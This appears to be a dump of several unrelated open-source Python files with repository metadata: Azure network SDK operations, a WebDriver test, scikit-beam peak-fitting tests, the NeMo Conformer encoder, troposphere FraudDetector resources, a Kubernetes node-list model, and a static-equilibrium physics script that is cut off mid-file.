kwargs.pop('polling', True) # type: Union[bool, PollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroup"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = self._create_or_update_initial( resource_group_name=resource_group_name, application_security_group_name=application_security_group_name, parameters=parameters, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('ApplicationSecurityGroup', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = NoPolling() else: polling_method = polling if cont_token: return LROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return LROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def update_tags( self, resource_group_name, # type: str application_security_group_name, # type: str parameters, # type: "models.TagsObject" **kwargs # type: Any ): # type: (...) -> "models.ApplicationSecurityGroup" """Updates an application security group's tags. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param application_security_group_name: The name of the application security group. :type application_security_group_name: str :param parameters: Parameters supplied to update application security group tags. :type parameters: ~azure.mgmt.network.v2019_09_01.models.TagsObject :keyword callable cls: A custom type or function that will be passed the direct response :return: ApplicationSecurityGroup, or the result of cls(response) :rtype: ~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroup :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroup"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self.update_tags.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'applicationSecurityGroupName': self._serialize.url("application_security_group_name", application_security_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(parameters, 'TagsObject') body_content_kwargs['content'] = body_content request = self._client.patch(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('ApplicationSecurityGroup', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized update_tags.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def list_all( self, **kwargs # type: Any ): # type: (...) -> Iterable["models.ApplicationSecurityGroupListResult"] """Gets all application security groups in a subscription. :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either ApplicationSecurityGroupListResult or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroupListResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroupListResult"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_all.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request def extract_data(pipeline_response): deserialized = self._deserialize('ApplicationSecurityGroupListResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return ItemPaged( get_next, extract_data ) list_all.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/applicationSecurityGroups'} # type: ignore def list( self, resource_group_name, # type: str **kwargs # type: Any ): # type: (...) -> Iterable["models.ApplicationSecurityGroupListResult"] """Gets all the application security groups in a resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either ApplicationSecurityGroupListResult or the result of cls(response) :rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroupListResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroupListResult"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request def extract_data(pipeline_response): deserialized = self._deserialize('ApplicationSecurityGroupListResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, iter(list_of_elem) def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return ItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups'} # type: ignore

49.828413

219

0.671641

cfc63bd788de2e38d7c092aeaea61a78411f1b65

1,538

py

Python

webdriver/tests/get_element_tag_name/get.py

meyerweb/wpt

f04261533819893c71289614c03434c06856c13e

[ "BSD-3-Clause" ]

14,668

2015-01-01T01:57:10.000Z

2022-03-31T23:33:32.000Z

webdriver/tests/get_element_tag_name/get.py

meyerweb/wpt

f04261533819893c71289614c03434c06856c13e

[ "BSD-3-Clause" ]

7,642

2018-05-28T09:38:03.000Z

2022-03-31T20:55:48.000Z

webdriver/tests/get_element_tag_name/get.py

meyerweb/wpt

f04261533819893c71289614c03434c06856c13e

[ "BSD-3-Clause" ]

5,941

2015-01-02T11:32:21.000Z

2022-03-31T16:35:46.000Z

from tests.support.asserts import assert_error, assert_success def get_element_tag_name(session, element_id): return session.transport.send( "GET", "session/{session_id}/element/{element_id}/name".format( session_id=session.session_id, element_id=element_id)) def test_no_top_browsing_context(session, closed_window): original_handle, element = closed_window response = get_element_tag_name(session, element.id) assert_error(response, "no such window") response = get_element_tag_name(session, "foo") assert_error(response, "no such window") session.window_handle = original_handle response = get_element_tag_name(session, element.id) assert_error(response, "no such element") def test_no_browsing_context(session, closed_frame): response = get_element_tag_name(session, "foo") assert_error(response, "no such window") def test_element_not_found(session): result = get_element_tag_name(session, "foo") assert_error(result, "no such element") def test_element_stale(session, inline): session.url = inline("<input id=foo>") element = session.find.css("input", all=False) session.refresh() result = get_element_tag_name(session, element.id) assert_error(result, "stale element reference") def test_get_element_tag_name(session, inline): session.url = inline("<input id=foo>") element = session.find.css("input", all=False) result = get_element_tag_name(session, element.id) assert_success(result, "input")

32.041667

71

0.735371

a40ff9efe418cce820c11d5dc24f49f4889c8ed2

5,413

py

Python

skbeam/core/tests/test_feature.py

licode/scikit-beam

8100cc9525a5be4ab1e48f6a6b2b7d33302db27e

[ "BSD-3-Clause" ]

1

2018-10-12T02:01:02.000Z

skbeam/core/tests/test_feature.py

licode/scikit-beam

8100cc9525a5be4ab1e48f6a6b2b7d33302db27e

[ "BSD-3-Clause" ]

null

skbeam/core/tests/test_feature.py

licode/scikit-beam

8100cc9525a5be4ab1e48f6a6b2b7d33302db27e

[ "BSD-3-Clause" ]

null

# ###################################################################### # Copyright (c) 2014, Brookhaven Science Associates, Brookhaven # # National Laboratory. All rights reserved. # # # # @author: Li Li (lili@bnl.gov) # # created on 08/19/2014 # # # # Redistribution and use in source and binary forms, with or without # # modification, are permitted provided that the following conditions # # are met: # # # # * Redistributions of source code must retain the above copyright # # notice, this list of conditions and the following disclaimer. # # # # * Redistributions in binary form must reproduce the above copyright # # notice this list of conditions and the following disclaimer in # # the documentation and/or other materials provided with the # # distribution. # # # # * Neither the name of the Brookhaven Science Associates, Brookhaven # # National Laboratory nor the names of its contributors may be used # # to endorse or promote products derived from this software without # # specific prior written permission. # # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OTHERWISE) ARISING # # IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # ######################################################################## from __future__ import absolute_import, division, print_function import numpy as np from numpy.testing import assert_array_almost_equal from nose.tools import assert_raises from .utils import gauss_gen, parabola_gen import skbeam.core.feature as feature def _test_refine_helper(x_data, y_data, center, height, refine_method, refine_args): """ helper function for testing """ test_center, test_height = refine_method(x_data, y_data, **refine_args) assert_array_almost_equal(np.array([test_center, test_height]), np.array([center, height])) def test_refine_methods(): refine_methods = [feature.refine_quadratic, feature.refine_log_quadratic] test_data_gens = [parabola_gen, gauss_gen] x = np.arange(128) for center in (15, 75, 110): for height in (5, 10, 100): for rf, dm in zip(refine_methods, test_data_gens): yield (_test_refine_helper, x, dm(x, center, height, 5), center, height, rf, {}) def test_filter_n_largest(): cands = np.array((10, 25, 50, 75, 100)) x = np.arange(128, dtype=float) y = np.zeros_like(x) for c, h in zip(cands, (10, 15, 25, 30, 35)): y += gauss_gen(x, c, h, 3) for j in range(1, len(cands) + 2): out = feature.filter_n_largest(y, cands, j) assert(len(out) == np.min([len(cands), j])) assert_raises(ValueError, feature.filter_n_largest, y, cands, 0) assert_raises(ValueError, feature.filter_n_largest, y, cands, -1) def test_filter_peak_height(): cands = np.array((10, 25, 50, 75, 100)) heights = (10, 20, 30, 40, 50) x = np.arange(128, dtype=float) y = np.zeros_like(x) for c, h in zip(cands, heights): y += gauss_gen(x, c, h, 3) for j, h in enumerate(heights): out = feature.filter_peak_height(y, cands, h - 5, window=5) assert(len(out) == len(heights) - j) out = feature.filter_peak_height(y, cands, h + 5, window=5) assert(len(out) == len(heights) - j - 1) def test_peak_refinement(): cands = np.array((10, 25, 50, 75, 100)) heights = (10, 20, 30, 40, 50) x = np.arange(128, dtype=float) y = np.zeros_like(x) for c, h in zip(cands, heights): y += gauss_gen(x, c+.5, h, 3) loc, ht = feature.peak_refinement(x, y, cands, 5, feature.refine_log_quadratic) assert_array_almost_equal(loc, cands + .5, decimal=3) assert_array_almost_equal(ht, heights, decimal=3) if __name__ == '__main__': import nose nose.runmodule(argv=['-s', '--with-doctest'], exit=False)

45.487395

75

0.55145

6f0d3698deb7ee9a157cd4e7181c16f80f38ff6b

9,888

py

Python

nemo/collections/asr/modules/conformer_encoder.py

vadam5/NeMo

3c5db09539293c3c19a6bb7437011f91261119af

[ "Apache-2.0" ]

1

2021-06-19T19:27:19.000Z

nemo/collections/asr/modules/conformer_encoder.py

vadam5/NeMo

3c5db09539293c3c19a6bb7437011f91261119af

[ "Apache-2.0" ]

null

nemo/collections/asr/modules/conformer_encoder.py

vadam5/NeMo

3c5db09539293c3c19a6bb7437011f91261119af

[ "Apache-2.0" ]

null

# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import math from collections import OrderedDict import torch import torch.nn as nn from nemo.collections.asr.parts.conformer_modules import ConformerLayer from nemo.collections.asr.parts.multi_head_attention import PositionalEncoding, RelPositionalEncoding from nemo.collections.asr.parts.subsampling import ConvSubsampling from nemo.core.classes.common import typecheck from nemo.core.classes.exportable import Exportable from nemo.core.classes.module import NeuralModule from nemo.core.neural_types import AcousticEncodedRepresentation, LengthsType, NeuralType, SpectrogramType __all__ = ['ConformerEncoder'] class ConformerEncoder(NeuralModule, Exportable): """ The encoder for ASR model of Conformer. Based on this paper: 'Conformer: Convolution-augmented Transformer for Speech Recognition' by Anmol Gulati et al. https://arxiv.org/abs/2005.08100 Args: feat_in (int): the size of feature channels n_layers (int): number of layers of ConformerBlock d_model (int): the hidden size of the model feat_out (int): the size of the output features Defaults to -1 (means feat_out is d_model) subsampling (str): the method of subsampling, choices=['vggnet', 'striding'] Defaults to striding. subsampling_factor (int): the subsampling factor which should be power of 2 Defaults to 4. subsampling_conv_channels (int): the size of the convolutions in the subsampling module Defaults to -1 which would set it to d_model. ff_expansion_factor (int): the expansion factor in feed forward layers Defaults to 4. self_attention_model (str): type of the attention layer and positional encoding 'rel_pos': relative positional embedding and Transformer-XL 'abs_pos': absolute positional embedding and Transformer default is rel_pos. pos_emb_max_len (int): the maximum length of positional embeddings Defaulst to 5000 n_heads (int): number of heads in multi-headed attention layers Defaults to 4. xscaling (bool): enables scaling the inputs to the multi-headed attention layers by sqrt(d_model) Defaults to True. untie_biases (bool): whether to not share (untie) the bias weights between layers of Transformer-XL Defaults to True. conv_kernel_size (int): the size of the convolutions in the convolutional modules Defaults to 31. dropout (float): the dropout rate used in all layers except the attention layers Defaults to 0.1. dropout_emb (float): the dropout rate used for the positional embeddings Defaults to 0.1. dropout_att (float): the dropout rate used for the attention layer Defaults to 0.0. """ def input_example(self): """ Generates input examples for tracing etc. Returns: A tuple of input examples. """ input_example = torch.randn(16, self._feat_in, 256).to(next(self.parameters()).device) input_example_length = torch.randint(0, 256, (16,)).to(next(self.parameters()).device) return tuple([input_example, input_example_length]) @property def input_types(self): """Returns definitions of module input ports. """ return OrderedDict( { "audio_signal": NeuralType(('B', 'D', 'T'), SpectrogramType()), "length": NeuralType(tuple('B'), LengthsType()), } ) @property def output_types(self): """Returns definitions of module output ports. """ return OrderedDict( { "outputs": NeuralType(('B', 'D', 'T'), AcousticEncodedRepresentation()), "encoded_lengths": NeuralType(tuple('B'), LengthsType()), } ) def __init__( self, feat_in, n_layers, d_model, feat_out=-1, subsampling='striding', subsampling_factor=4, subsampling_conv_channels=-1, ff_expansion_factor=4, self_attention_model='rel_pos', n_heads=4, att_context_size=None, xscaling=True, untie_biases=True, pos_emb_max_len=5000, conv_kernel_size=31, dropout=0.1, dropout_emb=0.1, dropout_att=0.0, ): super().__init__() d_ff = d_model * ff_expansion_factor self.d_model = d_model self._feat_in = feat_in self.scale = math.sqrt(self.d_model) if att_context_size: self.att_context_size = att_context_size else: self.att_context_size = [-1, -1] if xscaling: self.xscale = math.sqrt(d_model) else: self.xscale = None if subsampling_conv_channels == -1: subsampling_conv_channels = d_model if subsampling: self.pre_encode = ConvSubsampling( subsampling=subsampling, subsampling_factor=subsampling_factor, feat_in=feat_in, feat_out=d_model, conv_channels=subsampling_conv_channels, activation=nn.ReLU(), ) self._feat_out = d_model else: self._feat_out = d_model self.pre_encode = nn.Linear(feat_in, d_model) if not untie_biases and self_attention_model == "rel_pos": d_head = d_model // n_heads pos_bias_u = nn.Parameter(torch.Tensor(n_heads, d_head)) pos_bias_v = nn.Parameter(torch.Tensor(n_heads, d_head)) nn.init.zeros_(pos_bias_u) nn.init.zeros_(pos_bias_v) else: pos_bias_u = None pos_bias_v = None if self_attention_model == "rel_pos": self.pos_enc = RelPositionalEncoding( d_model=d_model, dropout_rate=dropout, max_len=pos_emb_max_len, xscale=self.xscale, dropout_rate_emb=dropout_emb, ) elif self_attention_model == "abs_pos": pos_bias_u = None pos_bias_v = None self.pos_enc = PositionalEncoding( d_model=d_model, dropout_rate=dropout, max_len=pos_emb_max_len, xscale=self.xscale ) else: raise ValueError(f"Not valid self_attention_model: '{self_attention_model}'!") self.layers = nn.ModuleList() for i in range(n_layers): layer = ConformerLayer( d_model=d_model, d_ff=d_ff, self_attention_model=self_attention_model, n_heads=n_heads, conv_kernel_size=conv_kernel_size, dropout=dropout, dropout_att=dropout_att, pos_bias_u=pos_bias_u, pos_bias_v=pos_bias_v, ) self.layers.append(layer) if feat_out > 0 and feat_out != self.output_dim: self.out_proj = nn.Linear(self.feat_out, feat_out) self._feat_out = feat_out else: self.out_proj = None self._feat_out = d_model @typecheck() def forward(self, audio_signal, length=None): if length is None: length = torch.tensor(audio_signal.size(-1)).repeat(audio_signal.size(0)).to(audio_signal) audio_signal = torch.transpose(audio_signal, 1, 2) if isinstance(self.pre_encode, ConvSubsampling): audio_signal, length = self.pre_encode(audio_signal, length) else: audio_signal = self.embed(audio_signal) audio_signal, pos_emb = self.pos_enc(audio_signal) bs, xmax, idim = audio_signal.size() # Create the self-attention and padding masks pad_mask = self.make_pad_mask(length, max_time=xmax, device=audio_signal.device) att_mask = pad_mask.unsqueeze(1).repeat([1, xmax, 1]) att_mask = att_mask & att_mask.transpose(1, 2) if self.att_context_size[0] >= 0: att_mask = att_mask.triu(diagonal=-self.att_context_size[0]) if self.att_context_size[1] >= 0: att_mask = att_mask.tril(diagonal=self.att_context_size[1]) att_mask = ~att_mask pad_mask = ~pad_mask for lth, layer in enumerate(self.layers): audio_signal = layer(x=audio_signal, att_mask=att_mask, pos_emb=pos_emb, pad_mask=pad_mask) if self.out_proj is not None: audio_signal = self.out_proj(audio_signal) audio_signal = torch.transpose(audio_signal, 1, 2) return audio_signal, length @staticmethod def make_pad_mask(seq_lens, max_time, device=None): """Make masking for padding.""" bs = seq_lens.size(0) seq_range = torch.arange(0, max_time, dtype=torch.int32) seq_range_expand = seq_range.unsqueeze(0).expand(bs, max_time) seq_lens = seq_lens.type(seq_range_expand.dtype).to(seq_range_expand.device) seq_length_expand = seq_lens.unsqueeze(-1) mask = seq_range_expand < seq_length_expand if device: mask = mask.to(device) return mask

38.625

107

0.63218

bb1152506c891b434268f050de6322a772d56712

3,324

py

Python

troposphere/frauddetector.py

pierretr/troposphere

1bd6a010a3132aa3436ffe6b892f352876face4b

[ "BSD-2-Clause" ]

4,573

2015-01-02T20:31:04.000Z

2022-03-31T17:15:32.000Z

troposphere/frauddetector.py

pierretr/troposphere

1bd6a010a3132aa3436ffe6b892f352876face4b

[ "BSD-2-Clause" ]

1,730

2015-01-02T19:24:47.000Z

2022-03-31T23:22:52.000Z

troposphere/frauddetector.py

pierretr/troposphere

1bd6a010a3132aa3436ffe6b892f352876face4b

[ "BSD-2-Clause" ]

1,753

2015-01-01T01:24:12.000Z

2022-03-27T05:36:17.000Z

# Copyright (c) 2012-2021, Mark Peek <mark@peek.org> # All rights reserved. # # See LICENSE file for full license. # # *** Do not modify - this file is autogenerated *** # Resource specification version: 39.1.0 from troposphere import Tags from . import AWSObject, AWSProperty from .validators import boolean class EntityType(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "Description": (str, False), "Inline": (boolean, False), "LastUpdatedTime": (str, False), "Name": (str, False), "Tags": (Tags, False), } class EventVariable(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "DataSource": (str, False), "DataType": (str, False), "DefaultValue": (str, False), "Description": (str, False), "Inline": (boolean, False), "LastUpdatedTime": (str, False), "Name": (str, False), "Tags": (Tags, False), "VariableType": (str, False), } class Label(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "Description": (str, False), "Inline": (boolean, False), "LastUpdatedTime": (str, False), "Name": (str, False), "Tags": (Tags, False), } class EventType(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "Description": (str, False), "EntityTypes": ([EntityType], False), "EventVariables": ([EventVariable], False), "Inline": (boolean, False), "Labels": ([Label], False), "LastUpdatedTime": (str, False), "Name": (str, False), "Tags": (Tags, False), } class Model(AWSProperty): props = { "Arn": (str, False), } class Outcome(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "Description": (str, False), "Inline": (boolean, False), "LastUpdatedTime": (str, False), "Name": (str, False), "Tags": (Tags, False), } class Rule(AWSProperty): props = { "Arn": (str, False), "CreatedTime": (str, False), "Description": (str, False), "DetectorId": (str, False), "Expression": (str, False), "Language": (str, False), "LastUpdatedTime": (str, False), "Outcomes": ([Outcome], False), "RuleId": (str, False), "RuleVersion": (str, False), "Tags": (Tags, False), } class Detector(AWSObject): resource_type = "AWS::FraudDetector::Detector" props = { "AssociatedModels": ([Model], False), "Description": (str, False), "DetectorId": (str, True), "DetectorVersionStatus": (str, False), "EventType": (EventType, True), "RuleExecutionMode": (str, False), "Rules": ([Rule], True), "Tags": (Tags, False), } class Variable(AWSObject): resource_type = "AWS::FraudDetector::Variable" props = { "DataSource": (str, True), "DataType": (str, True), "DefaultValue": (str, True), "Description": (str, False), "Name": (str, True), "Tags": (Tags, False), "VariableType": (str, False), }

25.181818

52

0.529483

875a975855ead45fe0e94fa9e0990fe0ef22e926

6,326

py

Python

kubernetes/client/models/v1_node_list.py

iguazio/python

c2684bb479d44a49a2010ec4ede5ffa7b17349dd

[ "Apache-2.0" ]

null

kubernetes/client/models/v1_node_list.py

iguazio/python

c2684bb479d44a49a2010ec4ede5ffa7b17349dd

[ "Apache-2.0" ]

null

kubernetes/client/models/v1_node_list.py

iguazio/python

c2684bb479d44a49a2010ec4ede5ffa7b17349dd

[ "Apache-2.0" ]

1

2019-01-10T11:13:52.000Z

# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.13.1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class V1NodeList(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'api_version': 'str', 'items': 'list[V1Node]', 'kind': 'str', 'metadata': 'V1ListMeta' } attribute_map = { 'api_version': 'apiVersion', 'items': 'items', 'kind': 'kind', 'metadata': 'metadata' } def __init__(self, api_version=None, items=None, kind=None, metadata=None): """ V1NodeList - a model defined in Swagger """ self._api_version = None self._items = None self._kind = None self._metadata = None self.discriminator = None if api_version is not None: self.api_version = api_version self.items = items if kind is not None: self.kind = kind if metadata is not None: self.metadata = metadata @property def api_version(self): """ Gets the api_version of this V1NodeList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :return: The api_version of this V1NodeList. :rtype: str """ return self._api_version @api_version.setter def api_version(self, api_version): """ Sets the api_version of this V1NodeList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :param api_version: The api_version of this V1NodeList. :type: str """ self._api_version = api_version @property def items(self): """ Gets the items of this V1NodeList. List of nodes :return: The items of this V1NodeList. :rtype: list[V1Node] """ return self._items @items.setter def items(self, items): """ Sets the items of this V1NodeList. List of nodes :param items: The items of this V1NodeList. :type: list[V1Node] """ if items is None: raise ValueError("Invalid value for `items`, must not be `None`") self._items = items @property def kind(self): """ Gets the kind of this V1NodeList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :return: The kind of this V1NodeList. :rtype: str """ return self._kind @kind.setter def kind(self, kind): """ Sets the kind of this V1NodeList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :param kind: The kind of this V1NodeList. :type: str """ self._kind = kind @property def metadata(self): """ Gets the metadata of this V1NodeList. Standard list metadata. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :return: The metadata of this V1NodeList. :rtype: V1ListMeta """ return self._metadata @metadata.setter def metadata(self, metadata): """ Sets the metadata of this V1NodeList. Standard list metadata. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :param metadata: The metadata of this V1NodeList. :type: V1ListMeta """ self._metadata = metadata def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, V1NodeList): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

29.839623

281

0.594689

2ac3e7213fda0c3738565b8c92f155a8d809a1ae

2,378

py

Python

arithmetic_analysis/in_static_equilibrium.py

NISH1001/Python

7a9b3c7292cbd71fdc7723f449b9bbcbefbf9747

[ "MIT" ]

6

2022-03-25T06:41:39.000Z

2022-03-28T17:26:42.000Z

arithmetic_analysis/in_static_equilibrium.py

NISH1001/Python

7a9b3c7292cbd71fdc7723f449b9bbcbefbf9747

[ "MIT" ]

33

2022-02-19T19:41:47.000Z

2022-02-24T20:53:39.000Z

arithmetic_analysis/in_static_equilibrium.py

NISH1001/Python

7a9b3c7292cbd71fdc7723f449b9bbcbefbf9747

[ "MIT" ]

3

2022-02-21T21:00:29.000Z

2022-02-24T13:48:21.000Z

""" Checks if a system of forces is in static equilibrium. """ from __future__ import annotations from numpy import array, cos, cross, ndarray, radians, sin def polar_force( magnitude: float, angle: float, radian_mode: bool = False ) -> list[float]: """ Resolves force along rectangular components. (force, angle) => (force_x, force_y) >>> polar_force(10, 45) [7.071067811865477, 7.0710678118654755] >>> polar_force(10, 3.14, radian_mode=True) [-9.999987317275396, 0.01592652916486828] """ if radian_mode: return [magnitude * cos(angle), magnitude * sin(angle)] return [magnitude * cos(radians(angle)), magnitude * sin(radians(angle))] def in_static_equilibrium( forces: ndarray, location: ndarray, eps: float = 10**-1 ) -> bool: """ Check if a system is in equilibrium. It takes two numpy.array objects. forces ==> [ [force1_x, force1_y], [force2_x, force2_y], ....] location ==> [ [x1, y1], [x2, y2], ....] >>> force = array([[1, 1], [-1, 2]]) >>> location = array([[1, 0], [10, 0]]) >>> in_static_equilibrium(force, location) False """ # summation of moments is zero moments: ndarray = cross(location, forces) sum_moments: float = sum(moments) return abs(sum_moments) < eps if __name__ == "__main__": # Test to check if it works forces = array( [polar_force(718.4, 180 - 30), polar_force(879.54, 45), polar_force(100, -90)] ) location = array([[0, 0], [0, 0], [0, 0]]) assert in_static_equilibrium(forces, location) # Problem 1 in image_data/2D_problems.jpg forces = array( [ polar_force(30 * 9.81, 15), polar_force(215, 180 - 45), polar_force(264, 90 - 30), ] ) 